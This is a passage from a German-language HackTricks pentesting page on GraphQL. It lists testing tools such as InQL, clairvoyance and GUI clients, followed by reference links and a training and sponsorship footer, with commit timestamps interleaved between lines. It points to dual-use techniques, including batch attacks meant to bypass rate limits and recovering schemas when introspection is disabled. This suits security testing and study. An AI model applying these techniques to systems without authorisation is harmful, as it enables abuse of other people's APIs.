* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-Erweiterung für fortgeschrittenes GraphQL-Testing. Der _**Scanner**_ ist der Kern von InQL v5.0, wo Sie einen GraphQL-Endpunkt oder eine lokale Introspektionsschema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die _**Attacker**_-Komponente ermöglicht es Ihnen, Batch-GraphQL-Angriffe durchzuführen, was nützlich sein kann, um schlecht implementierte Ratenlimits zu umgehen.
* [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Versuchen Sie, das Schema selbst bei deaktivierter Introspektion zu erhalten, indem Sie die Hilfe einiger GraphQL-Datenbanken in Anspruch nehmen, die die Namen von Mutationen und Parametern vorschlagen.
2022-06-21 16:32:08 +00:00
### Clients
2024-02-10 15:36:32 +00:00
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI-Client
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI-Client
2021-04-14 15:16:47 +00:00
### Automatic Tests
2021-05-10 08:52:30 +00:00
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
2021-04-14 15:16:47 +00:00
2024-02-10 15:36:32 +00:00
* Video, das AutoGraphQL erklärt: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
2021-04-14 15:16:47 +00:00
## References
2022-04-05 18:24:52 -04:00
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
2023-06-10 23:46:50 +09:00
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
2022-04-05 18:24:52 -04:00
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 02:24:39 +01:00
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}